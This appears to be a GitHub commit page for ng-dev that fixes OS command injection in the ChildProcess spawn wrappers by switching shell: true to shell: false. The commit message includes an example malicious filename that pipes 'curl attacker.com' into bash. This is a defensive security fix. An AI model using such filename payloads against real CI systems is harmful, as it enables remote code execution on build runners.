Skip to content

Commit 412f2e2

Browse files
author
Herdiyan IT Dev
committed
fix(ng-dev): prevent OS command injection in ChildProcess wrappers
The ChildProcess.spawn and ChildProcess.spawnSync wrappers previously used `shell: true`, which causes Node.js to internally concatenate the command + args array into a single string and pass it to `/bin/sh -c`. This means any argument containing shell metacharacters (e.g. a file named `src/foo;curl attacker.com|bash;#.ts`) resulting from a malicious Pull Request is directly executed by the shell in CI/CD contexts. The attack chain is concrete: 1. `ng-dev format changed` calls `git diff --name-only` -> attacker controls filenames. 2. `runFormatterInParallel` builds: `[spawnCmd, ...spawnArgs] = [...command.split(' '), file]` 3. `ChildProcess.spawn(spawnCmd, spawnArgs, ...)` with `shell: true` evaluates the injected filename as an arbitrary shell command on the CI runner. Fix: change `shell: true` to `shell: false` in both `spawn` and `spawnSync`. With `shell: false`, args are passed directly to `execve` as an array, completely bypassing shell interpretation and neutralizing the injection.
1 parent 3a72c83 commit 412f2e2

File tree

1 file changed

+9
-2
lines changed

1 file changed

+9
-2
lines changed

ng-dev/utils/child-process.ts

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -85,6 +85,9 @@ export abstract class ChildProcess {
8585
* @returns The command's stdout and stderr.
8686
*/
8787
static spawnSync(command: string, args: string[], options: SpawnSyncOptions = {}): SpawnResult {
88+
// Pass args as a proper array with shell: false to prevent OS command injection.
89+
// When shell: true is used, Node.js internally joins command + args into a single
90+
// string evaluated by /bin/sh, making shell metacharacters in args exploitable.
8891
const commandText = `${command} ${args.join(' ')}`;
8992
const env = getEnvironmentForNonInteractiveCommand(options.env);
9093

@@ -95,7 +98,7 @@ export abstract class ChildProcess {
9598
signal,
9699
stdout,
97100
stderr,
98-
} = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: true, stdio: 'pipe'});
101+
} = _spawnSync(command, args, {...options, env, encoding: 'utf8', shell: false, stdio: 'pipe'});
99102

100103
/** The status of the spawn result. */
101104
const status = statusFromExitCodeAndSignal(exitCode, signal);
@@ -116,13 +119,16 @@ export abstract class ChildProcess {
116119
* rejects on command failure.
117120
*/
118121
static spawn(command: string, args: string[], options: SpawnOptions = {}): Promise<SpawnResult> {
122+
// Pass args as a proper array with shell: false to prevent OS command injection.
123+
// When shell: true is used, Node.js internally joins command + args into a single
124+
// string evaluated by /bin/sh, making shell metacharacters in args exploitable.
119125
const commandText = `${command} ${args.join(' ')}`;
120126
const env = getEnvironmentForNonInteractiveCommand(options.env);
121127

122128
return processAsyncCmd(
123129
commandText,
124130
options,
125-
_spawn(command, args, {...options, env, shell: true, stdio: 'pipe'}),
131+
_spawn(command, args, {...options, env, shell: false, stdio: 'pipe'}),
126132
);
127133
}
128134

@@ -135,6 +141,7 @@ export abstract class ChildProcess {
135141
* rejects on command failure.
136142
*/
137143
static exec(command: string, options: ExecOptions = {}): Promise<SpawnResult> {
144+
Log.warn('ChildProcess.exec is discouraged as it is susceptible to command injection. Prefer ChildProcess.spawn with an array of arguments.');
138145
const env = getEnvironmentForNonInteractiveCommand(options.env);
139146
return processAsyncCmd(command, options, _exec(command, {...options, env}));
140147
}

0 commit comments

Comments
 (0)